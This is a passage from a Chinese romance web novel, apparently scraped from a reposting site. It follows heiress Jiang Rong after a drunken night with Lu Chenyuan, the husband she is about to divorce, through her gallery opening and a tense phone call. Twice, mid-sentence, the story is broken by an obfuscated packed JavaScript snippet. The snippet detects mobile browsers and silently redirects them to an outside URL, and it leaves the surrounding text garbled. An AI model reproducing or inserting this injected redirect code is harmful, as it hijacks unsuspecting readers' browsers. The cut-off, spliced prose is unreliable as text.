一个又一个极其刺眼的深红色吻痕,在她白皙的皮肤上非常显眼,一路从她锁骨的位置开始,蔓延往下。 她白色的貂皮大衣下,是一袭墨绿色的真丝吊带长裙,因此根本就遮盖不住这些痕迹。 不敢想象这些吻痕,身上到底还有多少…… 姜绒红着脸,立即掩紧了自己的貂皮大衣,向司机大声说道:“师傅,不去绒息艺术馆了!回云颂路8号别墅!” 早上七点半。 绒息(velvet)艺术馆门口,林晚一边指挥工作人员做开业仪式的准备工作,一边时不时描向自己腕上的手表。 时间已经进入倒计时了,姜绒还没过来。 此时,一阵脚步声兀然从她耳边响起,林晚抬头看去,正是姗姗来迟,大步向她跑来的姜绒。 但不同寻常的是,她与平时完全不同的古怪穿着。 并非往日皮草大衣和各类突出身材曲线的长裙,一起搭配的富家大小姐风格。 而是一身,从脖颈开始,就将她浑身都遮的严严实实的,lv白色长款羽绒服。 “我的姜大千金,你这穿的是什么啊?该不会就打算这样剪彩吧?”林晚站起身来,朝她言辞犀利的问道。 姜绒耳朵红了一下,心虚的低下头去,根本不敢直视,自己闺蜜那双锐利的眼睛,把手插在兜里,漫不经心的咳嗽了一下: “没办法,昨天晚上庆功宴喝多了,回家的路上冻到了,所以感冒了,只能注意保暖,今天多穿点。” 她总不能告诉林晚,自己昨晚借着酒劲,生扑了一个男人吧,而且还是她准前夫,今天就要去离婚的“老公”——陆沉渊。 “喝多了?姜绒,你唬谁呢?就凭你那千杯不倒的酒量,你还能有喝断片的时候?” 如同她肚子里的蛔虫一般,林晚果然发现了她话里的破绽,一击即中,尖锐的反问她道。 姜绒耳朵绯红,尴尬的笑了一声,将话糊弄了过去:“这都不重要,重要的是,我现在是老板了,得穿的稳重一点嘛。” “穿羽绒服多得体稳重啊,而且显得我更加清纯可人无害,不是吗?” 林晚差点被她气笑,看着她眨眼时,那张无辜至极的脸,却又一点办法也没有,只得无奈的摇了摇头,继续和她一起忙碌手头的事。 开业仪式,剪彩仪式,成功的举办了,现场星光灿烂,热闹非凡。 看在她父母的面子上,凛川市艺术界,算得上有名气的艺术家们,基本都来了,甚至不乏圈中的老前辈。 而她的母亲,苏新砚女士,也非常给力。 特地托姜新明过来了一趟,将她那副最为经典的水墨画作品——《千里江山图》,送给了自己的宝贝女儿,作为绒息艺术馆里的镇馆之作。 艺术馆顶层,办公与休憩合为一体,极具设计感的,姜绒专属的馆长办公室里。 姜绒却有些心不在焉,思绪总是时不时的飘回昨晚,那荒唐的一夜。 一些越发清晰的细节,一个又一个钻进她脑海里,令她浑身莫名酥麻发软。 无论是对方宽大有力的手掌,紧攥她纤瘦腰身时,咬住她白皙肩头的微微刺痛感,还是对方在她耳畔发出的,低沉压抑的喘息…… 亦或者是在对方那种激烈的攻势下,自己完全止不住的叫喊声,以及彻底失控的眼泪…… “姜老板,发什么呆呢?”林晚的手,兀然拍在她肩膀,瞬间将她从那种混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592742|187426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱的思绪里抽离了出来。 她脸上红了一下,赶忙冲对方扯出了一个自然的微笑,以掩饰自己的慌张: “没啥,只是在想,咱们馆里,首展的合作对象,应该选谁。” “好吧,你今天总走神,难不成真是冻感冒了?声音也有点哑。” 林晚却未坐回沙发,反而接着追问她道,还径直伸手,摸了摸她额头。 听了她这话,姜绒白皙的小脸,却红的更加厉害,点了点头,赶忙看向自己桌面上的苹果电脑,转移了话题: “没事的。我看看网上,现在怎么评价咱们艺术馆的开业这事!” 心虚的低下头,姜绒攥紧鼠标,心跳如同擂鼓。 她当然很清楚的知道,自己嗓子哑的原因。 和所谓的感冒,根本半毛钱关系也没有…… 此时,林晚却一把拎起她摆在桌面上的爱马仕包包:“走,去周野餐厅里吃饭去!” “他不是去国外比赛了吗?难道已经回国了?”姜绒愣了一下,反问她道。 林晚点了点头:“对呀,人家今天一大早就回国了。你还真是不关注实事啊,他比赛都拿到冠军了,还被评为米其林三星主厨了呢!在国内也是特别稀有的头衔。” 中午十二点,Ye餐厅内,宾客满座,高级而复古的装潢之下,餐桌和餐盘,都极具有法式风情,每一处都如同置身油画里一般。 不少盛装打扮的女网红们,和闺蜜们坐在餐厅里的位置上拍合照,或拍摄vlog,打卡。 时不时还有人讨论,这家餐厅的主厨,是不是自己见过的最帅的主厨这个问题,或者猜测,今天运气到底好不好,能不能够有幸见到周野一面。 林晚和姜绒一踏进餐厅里,就被侍应生引导着,走进了周野特地为她们留出来的,整个餐厅仅此一间,位于32层,最佳赏景处的包厢里。 玻璃窗外,雪从昨晚就停了,融雪之时,比往常要更冷,室内的空调却开得很足,暖意融融,甚至有些过热。 姜绒肚子饿的咕咕叫,撩了撩一头长长的卷发,后颈渗出了几滴汗,却仍旧固执的不肯脱下身上的羽绒服。 “恭喜小绒球,双喜临门!”此时,一道富有磁性的声音兀然响起,包厢门被推开了。 正是身材挺拔高大的周野,亲自推着餐车,走了进来。 姜绒目光被吸引,落在他身上。 首先夺走人视线的,是周野那头金发。 那不是绅士般的浅金或铂金,而是某种更嚣张、更炽热的颜色,像是正午阳光被揉碎了纯粹地泼洒上去,耀眼得近乎狂妄。 紧接着,是从他白色主厨服领口中露出的纹身,一小段繁复的黑色藤蔓,充满痞气,顺着他脖颈蜿蜒而上,最终消失在他利落的下颌骨阴影里。 他整张脸痞帅而好看,一双琥珀色的眼睛,鼻梁高挺,嘴角似乎天生就带着一抹玩世不恭的、微妙上扬。 “周野,你这消息够灵通啊,谁告诉了你,绒绒结了个假婚的事?”林晚勾起唇角,笑了一下,朝他问道。 姜绒一边看着周野,骨节修长的手指,在她桌面上熟练摆上餐具和方巾,一边抢答了这个问题: “还能有谁啊?肯定是姜曜那个大嘴巴呗。” 听到姜曜这个名字,一向波澜不惊的林晚,脸上的表情,却微妙的起伏了一下。 “小绒球,快试试本大厨,亲自为你准备的特别庆祝菜单。”周野将一道道摆盘精致无比的菜肴,摆在了姜绒面前。 作为实打实的吃货,姜绒早就食指大动,切了一块上好的和牛珍品——夏多布里昂,放进嘴里。 充沛的汁水在她嘴里爆开,她幸福的露出了笑容,夸赞他道: “还得是你,周野!我家的私厨,连你的一半水平都比不上。” “要不是遇到你,我在英国那几年,早就饿死了!” 听了她这话,周野朝她痞里痞气的扬了扬唇,一双琥珀色的眸中,炙热更甚。 “祝我离婚快乐!”酒过三巡,姜绒和她们两人碰杯,将这句话,利落的说出了声。 经过短暂几个小时的思考,她已经想好了。 自己才不要和那自己讨厌的类型,完全不熟悉的“丈夫”陆沉渊绑定一辈子呢。 虽然,昨天晚上,自己色欲熏心,一时上头把对方给睡了,确实有错,但苍蝇不叮无缝的蛋,陆沉渊也有问题。 要比起厚脸皮来,谁能够比得上她姜绒啊! 所以,该领的离婚证,下午她还是得准时去领。 放下酒杯,周野朝她痞里痞气的笑了一下:“那你今天下午什么时候去民政局?需要我送你吗?” 姜绒正欲回答这个问题。 此时,她摆在桌面上的手机,却赫然响了起来。 姜绒拿起手机,看了一眼,却意外的瞪大了眼睛。 来电的号码,竟然正是早已被她备注为“前夫”, 领证结婚这一年来,自己却从未联系过的人——陆沉渊。 5. 第五章 “哎呀,还真是说曹操,曹操就到。你这准前夫的电话,来的也太是时候了吧?” 林晚显然瞟到了姜绒手机屏幕上的来电备注,调侃了一句。 姜绒纤长的手指,却握紧手机,心跳如擂鼓,紧张不已。 陆沉渊这是什么意思? 结婚这一年来,她们可都从来没有通过任何一次电话。 默认对方电话属于“躺尸”列表里那一栏。 那他这时候打电话过来,极有可能,是为了昨晚那件事,兴师问罪啊! 自己应该如何应对,又应该如何辩解? 像是被老师当场抓包,做贼心虚的学生一般,一向鬼点子多的很的姜绒,此刻竟然没了主意,如同热锅上的蚂蚁,心里急得团团转。 周野读出了姜绒表情里的不对劲,正欲开口问她。 姜绒却赫然站起了身来,她白皙的小脸,有些绯红,捂着肚子,向林晚皱起娥眉说道: “晚,我好像突然来例假了。我先去趟洗手间,你们先接着吃!” 林晚赶忙朝她点了点头:“那你快去吧。” 姜绒拎起自己的限量款爱马仕包包,快步离开包厢,冲到了卫生间里。 然而,手机上,陆沉渊的来电已经挂断了。 显然是因为,她长时间没有接听的缘故,对方耐心耗尽。 不要慌,不要慌! 姜绒,你从小到大,可是出了名的,不害臊的厚脸皮啊! 她看向镜子里的自己,抚了抚自己那头,柔顺蓬松的酒红色长卷发,在心里劝说着自己,给自己加油打气。 几秒钟后,姜绒深吸了一口气,纤长的手指拿起手机,在“前夫”来电那里,按下了回拨键。 电话铃声才响了好几秒钟,那头已经被接起。 不等他开口说话,姜绒先发制人,硬着头皮,率先将话脱口而出: “陆沉渊,昨天晚上发生的事情,那纯粹就是个意外!” “我喝醉酒了,我的朋友们又不明真相,以为你就是我老公,所以才把我送到了你那里!” “咱们俩就当什么也没发生,你忘掉昨晚发生的一切吧!” 话一说完,那边却陷入了一阵诡异的沉默之中。 而且,许是姜绒打电话的音量并不小,说出来的话又实在太过惊世骇俗,就像不负责任的女版渣男言论。 卫生间里,唯一剩下的另一个女生,表情古怪的看了她一眼,离她远远的,连手也不洗了,就直接跑出门去了。 陆沉渊并没有说话。 要不是听到对方透过话筒传来的平稳匀称的呼吸声,这甚至令姜绒甚至怀疑,电话那头到底还有没有人在。 她这话到底能不能唬住陆沉渊啊?姜绒心里更加觉得没底了,整张小脸因为紧张而变得凝重起来。 毕竟,对方可不是什么小人物。 而是陆氏集团年轻有为的掌门人,全球顶级审计部门普瑞维斯的创始人。 她隐隐记得,自高中时,他就是全校闻名的学霸——理科天才,参加过各类国内外数学竞赛,把所有大奖都拿了个遍。 是她这种理科学渣,完全无法理解的另一种维度的存在。 果然,几分钟后。 对方冰冷低沉的声音,向姜绒提出的问题,一击即中,直接抓住了她话里的漏洞之处: “那你解释一下,昨天晚上,为什么要亲我?” 听到这句话,姜绒白皙的小脸上,瞬间炸开了一片红云,连带着雪白修长的脖颈,都染成了绯色。 该死,陆沉渊这记性也太好了吧!他怎么连这种细节都记得清清楚楚? 事实上,回想起昨夜的情形,姜绒也无法解释为什么。 照理来说,陆沉渊这款男人,绝对不会是她所喜欢的类型,甚至与她喜欢的类型,完全相反。 虽说无论是高中时作为校花,还是在国外时,她的追求者都众多,可她要求极高。 真正能够被她看上,并且产生生理性喜欢的人,极少。 甚至可以说没有。 然而,那天晚上,当朋友们敲开门,放心的离去后。 刚洗完澡,连头发都还未擦干,黑发垂在额前,身材高大挺拔的陆沉渊。 骨节修长的手指,把着门框,疑惑的俯视着,她那张喝得醉醺醺,一片绯红的脸时。 姜绒承认,抬头的那一刹那,她竟然看呆了。 她眯起眼睛,目光仔细的滑过,他清晰如刀刻的眉眼,高挺的鼻梁,甚至注意到了,在他冷白肤色衬托之下,那张弧度冷淡的下唇右边,有一颗小小的痣。 一颗水珠,恰好从那颗痣上滑落,经过他干净利落的下颌角,沿着他形状突出的喉结,一直向他肌肉线条明显的冷白胸膛掉落。 而她鼻间,又能隐隐闻到他身上,那股散不去的雪松,佛手柑,檀香混合在一起的特殊香味。 许是他刚洗完澡的缘故,那股味道更加明显,氤氲不散,将她整个人缠绕包围,令她莫名腿软,更加站不起来。 于是,在这一刻,姜绒彻底失去了理智。 她踮起脚尖,纤细的手臂,一把搂住了陆沉渊修长的脖颈,径直吻了上去。 脑子里只有一个念头,在反复播放。 ——她想尝尝那颗痣的味道。 思绪回到现在,姜绒涨红着脸,硬着头皮,向陆沉渊强行辩解: “你在说什么呀?什么亲你呀?我说了昨天晚上,我喝醉酒了,发生了什么,我根本就不记得啊!” “再说,就算发生了什么,那一个巴掌拍不响。苍蝇不叮无缝蛋,你肯定也有原因吧!” 电话那头再次沉默了。 姜绒红着脸,心跳如擂鼓,更加紧张的厉害,她这套强词夺理的说辞,陆沉渊能接受吗? 毕竟对方的脑子和自己这种艺术脑的构造完全不同。 理科最是讲事实,摆证据的严谨学科。 幸好,陆沉渊低沉冷淡的声音,再次响了起来,这次却并没有质疑她的说辞: “凛川民政局,今天系统维护升级,领不了证。” 听到这话,姜绒心里大松了一口气,她赶忙语气轻松的宽慰对方:“没事,我重新预约离婚时间就好了。” “下个月,同一时间,咱们凛川民政局门口见!” “好。”这一次,对方只留下极短的一个字,不待她回答,便径直利落的挂断了电话。 真是没情趣的电脑人! 望着刹那间被挂断的电话,姜绒忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为,一贯守时闻名,并以此作为铁血手腕,管理集团和手下的陆沉渊。 今天来公司的时间,竟然迟了整整一个小时! 这根本就不符合自家总裁工作狂的特征。 毕竟,陆沉渊可是严谨到,审计事务所里,所有文档必须严格使用他亲自编写的模板。 字体只能是Calibri,字号10.5,行距固定值18磅。 任何偏离格式的文件,都会被他直接从邮箱退回,批注只有冷冰冰的两个字:“重做”。 更不必提,今天还有非常重要的会议要开。 这简直,是令杨西想破脑袋,也匪夷所思的存在。 而当他走到躬身,将手里的LVMH集团、开云集团的合作意向书,以及会议议程安排表,轻轻放到陆沉渊桌上时。 杨西仰头看去,立刻发现了一个更加了不得的细节。 陆沉渊低头审阅文件时,整张脸,冰冷而禁欲,不怒自威,在正午金黄暖光下,却更显棱角分明,利落好看,毫无缺点。 然而,当视线往下。 杨西兀然注意到,陆沉渊右边的唇角上,蓦然多了个细碎的伤口。 他唇上的那个伤口很小,内里渗着点点,不太显眼的深红色。 这到底是怎么弄的? 看起来,并不像是什么意外弄伤。 杨西拧紧眉毛,在脑海里奋力思考。 随即,他逐渐意识到了,一件无比惊人,令他瞬间瞪大了双眼的事情。 自家总裁被人咬了! 6. 第六章 “傻愣着干嘛?去会议室!” 一道气场强大的声音,兀然从杨西耳边传来,将他从那种震撼和惊讶里拉了回来。 正是已经审阅完了资料,语气冰冷的陆沉渊。 他站起身来,长腿一迈,高大挺拔的身影,已经径直向外走去了。 杨西赶忙一把捞起了桌面上的文件,追上了他的脚步。 黑白色调,设计冷淡而简约,处处透露着理性的,普瑞维斯审计事务所,偌大会议室里。 LVHM集团以及开云集团,派出来的金发碧眼的代表们,和随行的翻译人员,律师,身着西装,正襟危坐。 这次合作的机会难得。 两家全球巨头企业,都是提前得到了对手品牌,极有可能会与陆沉渊的普瑞维斯合作的风声,这才抢着向陆沉渊投出了合作意向书,生怕对方抢占先机。 本想着能快对方一步,他们却没有预料到,陆沉渊会直接将他们两家安排在了同一场会议上。 因此会议室里的气氛不仅凝重,还平白无故多了些,剑拔弩张的隐隐火药味。 当一身黑色高定西装的陆沉渊,高大的身影,出现在会议室里时,在场所有人,眼里几乎都一亮。 两方的代表,立即站起身了来,欲抢着与他握手,寒暄,并充分介绍自家集团。 陆沉渊却坐下身来,用平静无波的语调,直接打破了这一环节。 金丝框镜片背后,那双黑眸,锐利而沉静,不带感情的扫过每一个人,却气场强大到令人犯怵: ““感谢各位到场。为避免时间低效损耗,我们将跳过所有介绍性环节。” “本次会议的目的,并非由我向你们展示服务,而是由你们向我证明,贵集团的数据系统与合规决心,能达到我的合作阈值。” 此话一出,代表着陆沉渊彻底夺过了主导权,并将他自己置于了更高级的筛选者位置。 这令两位行业巨头派出的代表,表情错愕,但随即,他们接受了一切。 因为,他们清楚的知道,陆沉渊是不折不扣的金融天才,他以如此年轻的年龄,就创办了他的审计事务所。 并在短短几年的时间,就将普瑞维斯的口碑和名号打响,做到了全球顶级的水平。 无数品牌和企业,都是求着对方,费劲心思,才能够得来一个合作的机会。 见他们坐下身来,并无异议。 陆沉渊抬了抬手,杨西立即向双方代表,各自发放了一份完全相同的加密文件。 文件里的内容,是一个由陆沉渊用英文,亲自编写,高度简化、但结构完整的模拟案例。 其中他故意设置了,几个极其隐蔽的、类型不同的逻辑陷阱。例如数据一致性陷阱,合规性陷阱,逻辑悖论陷阱。 “你们有30分钟时间分析这份样本。” 请用书面形式,列出你们发现的所有问题,并按严重等级排序。同时,请阐述你们将如何构建一个审计模型,来系统性侦测此类问题。” 陆沉渊指节修长的手指,敲了敲桌面,接着语气冰冷的提出了他的要求。 收到这样的指令,两方的代表,神情紧张,立即打开了电脑里的这份文件,和团队一同审阅并交流了起来。 一旁的杨西,望向自家总裁,那张轮廓深邃,气场强大的侧脸,内心早已佩服的五体投地。 作为金融学顶级学府毕业出身,他曾经有幸在书本案例里,看到过陆沉渊使用的这套,令他可望而不可即的方法——双盲解决方案论证。 而陆沉渊是他所认识的,第一个拥有这种胆识和能力,在跨国企业巨头们面前,执行这种方法的人。 三十分钟的倒计时已经开始,会议室里响起繁杂的英文讨论声,双方团队都开始解起了题来,气氛热烈且紧张。 与之相反,坐在一旁的陆沉渊,却面无表情的盯着他面前的电脑,骨节修长的手指敲打在银灰色的键盘上,恍若无人的编写数据。 墙上的指针跳动了一下,时间已经到了,双方代表开始站起身来,向陆沉渊陈述各自的解决方案。 陆沉渊高大的身影,好整以暇的倚靠在身后的牛皮工作椅上,仔细聆听。 在这个过程中,他甚至还会不时向双方代表团,提出一些尖锐的质询来: “你提到数据偏差率为0.5%,你的置信区间是多少?抽样方法是什么?” “你建议的模型,其计算复杂度是O(n?),在十亿级数据量下不可行,是否有更优算法?” “你忽略了第三个陷阱,是因为没发现,还是认为其风险可接受?请给出量化依据。” 这些问题,直击要害,令一旁的杨西,听起来都不由自主的紧张了起来,屏息凝神,额头上冒出了一层冷汗。 他不敢设想,若是受到气场强大的陆沉渊,质询的是自己,那自己应该如何应对,或者说有没有这个能力去应对? 对方果然,毫无疑问。 是他自入行起,就听到过的传说——审计领域的神。 十分钟后,陈述和质询结束了。 陆沉渊那张毫无波澜的脸上,仍然看不出任何情绪。 他锐利的黑眸,扫了一眼,在场紧张等待着结果的所有人,语气冰冷平静: “基于刚才的测试结果评估,开云团队在问题识别全面性上得分更高,发现了95%的预设陷阱。” “LVMH团队在解决方案的可扩展性上略有优势,其模型架构更清晰。” “但是,LVMH团队对陷阱三的忽略,构成了系统性风险盲点,根据我的风险评估模型,此项权重高于可扩展性优势。” “因此,综合评分显示,开云集团是更适合成为普瑞维斯的合作伙伴。我的助理会与开云团队对接后续协议细节。会议结束!” 利落宣布完结果,不等任何讨价还价或情感挽回的余地,陆沉渊一把合上了电脑,长腿一迈,高大的身影直接离开了会议室。 只余下LVMH代表团的人,不敢置信的瘫坐在座位上,一脸绝望。 又受到了震撼,且学习到了不少知识的杨西,赶忙跟上了自家总裁的脚步回办公室。 但仰头看向陆沉渊背影,他一边走,一边又忍不住在心里思考。 这样一个极致理性,且重度洁癖的人,到底为什么会被人咬啊? 而且还是嘴唇,那样私密的位置。 显然,陆沉渊从不喜欢男人。 那就只能是某一个女人留下的“杰作”了! 到底是谁啊,竟然拥有这么大的胆子,能在自家总裁身上留下痕迹,这无异于虎口拔牙。 这女人实在是人中龙凤!令人不敢置信! 杨西一边走,一边在心里兀自感叹。 Ye餐厅内,半天没等到姜绒回到包厢里,林晚知道,以自己对她这从高中一路玩到现在的闺蜜的了解。 例假到了恐怕只是借口,她必然是摊上什么事了。 此时,周野却站起身来,拿起桌上的红酒瓶,亲自给她的高酒杯里,倒上了一杯酒: “林律师,你是小绒球最好的朋友,应该也知道,她那联姻的老公,到底是什么来历吧?” 林晚笑了一下,果然,对方就等着这茬了,怪不得不直接打电话给姜绒约饭,而是要先通知她。 就是为了让姜绒把自己这个“线人”带上,好套取情报吧。 林晚不紧不慢的喝了一口酒,才向周野开了口:“她那老公陆沉渊,并不简单。” “他是陆家的独子,陆氏金融集团的CEO,不仅坐拥陆家上千亿的产业,而且还是全球顶级审计事务所——普瑞维斯的创始人。” 听了她的话,周野脸上的表情凝固了起来,虽然他出身底层,高中便肄业。 从那以后,靠自己去国外进修,研习厨艺,一路摸爬滚打,创办了自己的连锁餐厅,并成为了国内摘得米其林三星,最年轻的主厨。 但他也能听懂林晚,这些关于陆沉渊的这些话语里,重量和含金量到底有多大。 对方的背景,以及所拥有的财力,似乎庞大到了,他这种人无法想象的地步。 可他周野,这辈子骨子里最不怕的,偏偏就是有钱人。 “审计?金融?在英国的时候,小绒球跟我说,她这辈子最怕的就是数学。” 周野不屑一顾的扬了扬唇,但随即又忍不住向林晚追问: “林律师,你能给我解释一下,他那什么审计事务所,具体是干什么的嘛?” 林晚扶了扶鼻梁上的镜框,兴致盎然:“这你就问对人了。” “你可以把审计,看成是为企业提供超强诊断报告的医生。通过算法和逻辑,将财务数据、运营流程乃至品牌声誉,转化为可被验证的数学命题。” “陆沉渊的普瑞维斯全球顶级的原因,就在于他只和巨头企业谈合作,谈生意,而且只接这些顶级企业的单。” “比如他们做过的顶奢品牌,就有爱马仕,香奈儿,或者拥有卡地亚的历峰集团等等,而且完成合作后,这些企业的回报率超高。” 周野认真听她说完,双手抱臂,表情若有所思。 林晚看出了他眼里的危机感,安慰了他一句: “不过,你不用担心,从高中的时候开始,绒绒她就很烦陆沉渊这人,依我看,他根本不是绒绒喜欢的类型。” 周野却听出了她话语里的关键之处:“高中时候?你和小绒球,还有陆沉渊,是同班同学?” “对啊,不过也就是绒绒看他不顺眼了,陆沉渊那时候学习特好,理科学霸,在班上还是很有人气的。” “而且,我听说,他本科读了MIT(麻省理工学院),现在还是MIT斯隆管理学院,金融工程博士在读。” 周野听这些话已经昏昏欲睡,修长手指挠了挠脖颈上的纹身,打了个哈欠,向林晚招了招手,制止她继续往下说: “好无聊。光听介绍,就感觉是个很无趣的人了,怪不得小绒球讨厌他。” 林晚不置可否的笑了一下。 此时,包厢门却被姜绒风风火火的一把推开了,她脸上带着笑容,一副喜气洋洋的模样。 周野赶忙起身,为她拉开了凳子。 “今天,我不用去离婚了!”在座位坐下来后,姜绒却拿起刀叉,一边继续吃饭,一边向大家宣布了一个意想不到的消息。 周野回自己座位的身影僵了一下。 林晚则调侃了她一句:“怎么回事?难道你真看上陆沉渊了?舍不得离了?” “什么呀?我馋谁也不可能馋他呀!” “是今天民政局系统维护,领不了证而已,下个月继续去领。” 姜绒耳尖却霎时红了一下,赶忙反驳林晚道。 周野听到这话,松了一口气。 说完这句话,姜绒却低下头,兀自埋头苦吃了起来。 林晚目光落在她那张可疑的白皙小脸上,无论她怎么看,怎么都觉得,自己这闺蜜,今天并不对劲。 一个月后,约定的时间很快就到了。 今天就是去离婚的日子。 姜绒特地起了个大早,昨晚因为心情极佳的缘故,她叫来几个艺术家朋友,在自己艺术馆的楼上喝酒,畅聊艺术,直到大半夜才散场。 但早上五点,她的生理闹钟,准时叫她起床后,她兴致又起,就地取材,用红酒和葡萄酒掺杂在一起,即兴作了副巨型画作。 光着脚站在那副画前,姜绒对自己的作品充满了赞赏。 画里是一个身穿白色蕾丝睡裙,随意挽起一头红发,以兰花做发髻的慵懒少女。 少女的长相眉眼,和姜绒颇像。 优雅的酒红和浅紫色的葡萄酒色调,交织渗透在一起,散发出淡淡的氤氲酒香。 这幅画很有明媚洒脱,恣意张扬的气质。 她将画拍了个照,得意的发在了家族群里,还特意@自己老妈,苏女士进行点评:【妈,您女儿画的厉害吧?有没有遗传你的艺术细胞?】 姜曜的回复比谁都快:【这不你自画像吗?姜绒,你能不能别自恋了!】 看到群里这句回复,姜绒差点被气歪了鼻子,于是迅速转发了几条关于Vampire乐队假唱的黑帖到群里。 随即耀武扬威的@姜曜:【哥,我还保存了你黑粉拍的黑图和丑照,你要看看吗?】 几分钟后,苏女士的微信回复,在群里接踵而至,说的却完全是另一个话题。 【姜绒,你出发去民政局了?别去了,陆沉渊那孩子多好!多少人排队想 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姜绒满意的看着镜子里,自己这套千金感十足的打扮, 万事俱备,只差一对能够搭配的耳环了。 她打开了自己的首饰盒,寻找起了那副,由她的首饰设计师朋友,专门在私人工作室里,为她设计的,那副白色珍珠耳环。 然而,在自己满满当当的首饰盒里,她翻了半天,却没有找到那对耳环的踪迹。 姜绒拧起了眉毛,内心纳闷不已。 自己那对珍珠耳环,怎么不见了? 一个猜测,兀然在姜绒脑海里窜了出来,令她白皙耳尖红了一下。 她该不会,是把那对耳环,落在她准前夫那里了吧? 虽说,她也已经记不清楚,那天自己具体穿了什么。 但毕竟那天,是她艺术馆,落成的庆功宴,自己也精心打扮了一番。 而那晚,和陆沉渊的荒唐一夜,状况有多么激烈,她心里很清楚…… 手机里的闹铃响了一下,这是姜绒怕自己迟到,专门用来提醒自己的。 于是,顾不得再想那么多了,她随手拿起一副耳环戴上,就出门去了。 然而,当姜绒坐了电梯下楼,才踏上自己的艺术馆一层的地毯。 馆内的访客接待员,已经走上了前来,提醒了她一句: “老板,有一位周先生,一大早就过来了,说是专门来给您送早餐的。” 送早餐?姜绒愣了一下,随即立刻反应了过来,来人会是谁。 她点了点头,走到正厅,果然看到了一头金发,穿着黑色皮夹克,踏着马丁靴,气质痞帅的周野。 他正倚靠在一根艺术柱前,单手插兜,站着等她。 “周大厨,怎么这么早就来了?我艺术馆还没到开门时间哦。你要是想参观的话,可得购买门票。不过你的话,我可以打八折。” 姜绒走向他,调侃了一句。 周野却将他手里,放在袋子里,精心包装的餐盒,递给她,痞里痞气的笑了一下,俯身看向她: “那我用别人既买不到,也吃不到的主厨特选早餐,来交换门票如何?” 姜绒笑了一下,接了过去:“少贫嘴了。今天我还有正事呢,不能耽误!没空陪你玩。” “什么事?”周野假装疑惑,向她追问道。 姜绒往前走去,满不在乎的回答他:“领离婚证呀。” “今天正好我也没什么事,我送你去民政局呗。”听到她这句话,周野却追上她的脚步,朝她说道。 姜绒停住脚步,突然想起,上次自己去民政局里领结婚证,找不到停车位不说,下车时还恰好把陆沉渊的车,给刮花,差点要赔几百万的事。 于是她点了点头:“好吧,那我坐你车去。” 然而,出了门,看到门口停着的那辆黑色庞然大物以后,姜绒立刻后悔了。 因为周野这厮,既然是骑重型机车过来的! 凛川民政局,门口的长款白色劳斯莱斯古斯特旁。 杨西屏息凝神,大气不敢出一口,看向站在自己身旁,身材高大挺拔,一身棕色西装的陆沉渊。 那天回去以后,他才逐渐从陆母那里打探到了一些关键消息,这位陆家千金和自家总裁,只是为了临时联姻冲喜,才假结婚的。 怪不得今天他们就要领证离婚了。 想起那天自己的祝福,闹出来的笑话,他仍然心有余悸。 而不知道是不是他的错觉,或许是因为今天就要领离婚证的缘故?亦或是对对方的不守时感到不满? 杨西能隐隐感觉到,陆沉渊身上的气压极低。 “陆总,离约好的时间还有五分钟呢,姜小姐这次应该不会再迟到了。” 他朝陆沉渊局促的笑了一下,如是宽慰的说道。 陆沉渊却并没有理他,只是低下头去,看了眼忻长手腕上的黑色劳力士。 三分钟后,一道重型机车的轰鸣声,兀然在他们耳边响起,杨西抬头看去,赶忙兴奋的提醒了自家总裁一句: “陆夫人,不对,姜小姐她来了!好像还是坐别的男人机车来的!” 脱口而出这句话,杨西才觉得自己这句话不太妥当。 因为陆沉渊和姜绒虽然是假结婚,但毕竟还没有领完离婚证,他们还是法律上意义上的合法夫妻。 侧头看去,他果然看到,陆沉渊脸上的表情,更加冷的令人发寒了。 姜小姐这行为,未免也太过挑衅了,杨西忍不住在心里感叹。 周野的机车,在那辆白色的劳斯莱斯旁刚停好,姜绒已经迫不及待的迈下了车。 她取下头上密不透风的头盔,修长的黑色长筒靴踩在地面上,甩了一下头。 一头张扬的酒红色卷发,立即随着她的动作散落了出来,白皙的小脸上,充满灵气的精致五官,令人根本移不开眼睛。 空气中散发着,她发丝上,以及身上,隐隐的蜜桃香味, 才站定身子,姜绒已经感觉到了,一道冷冷的目光锁在她身上,令她根本无法忽略。 身上莫名泛起一阵热意。 她回头看去,果然撞进了陆沉渊,那双深不见底的黑眸里。 7. 第七章 陆沉渊已经戴回了那副,足以遮掩一切情绪的,冷冰冰的金丝框眼镜,与那天她在床上看到的模样,判若两人。 而那张轮廓利落深邃的脸,和188的高大身量,在人群中仍然是鹤立鸡群的存在。 他身上穿了一套复古奢华,融合了20世纪风格,丝绒面料的双排扣戗驳领,棕色正装。 带有光泽感的棕金色调西装外套,内搭格纹衬衫与同材质的棕色领带,色彩层次协调,显得既禁欲,又具有格调。 姜绒白皙耳尖,细微的红了一下。 实在想不明白,自己那天脑子里到底抽了什么风。 竟然会觉得这么一个,三件套西装,永远把自己裹得严严实实,表情总是冷冰冰的人,性感至极。 而且竟然还大着胆子,吻上了对方的唇。 “周野,谢谢你送我到这,你先回去吧。”她转过头去,把手上的头盔,还给周野,朝他说了一句。 周野还没忘记自己准备的餐盒,将机盒里留有余温的袋子递向她:“哎,小绒球,你把早餐带上……” 姜绒正欲伸手去接。 一道低沉的声音,却兀然在他们耳边响起,打断了周野的话。 正是陆沉渊,他眸光锐利,扫了他们一眼:“预约的时间马上要到了,快走吧!” 周野立即抬头看向陆沉渊。 他个子极高,目测比自己还要高2厘米,身材和气质都很突出,气场强大到令人畏惧的程度。 而视线往上,周野不得不承认,即使以自己作为男人的眼光来看,对方那张脸,也确实长得不错,甚至可以说是无可挑剔。 这样的身材和这样的长相,再加上那样深厚的背景和强大的财力。 周野心绪复杂,瞬间理解了,林晚为何会说出,陆沉渊其实人气很高这种话来了。 很显然,这是他人生中,遇到的最大对手。 如同发号施令,陆沉渊冷冷说完了这句话,长腿一迈,便转身往前走去了。 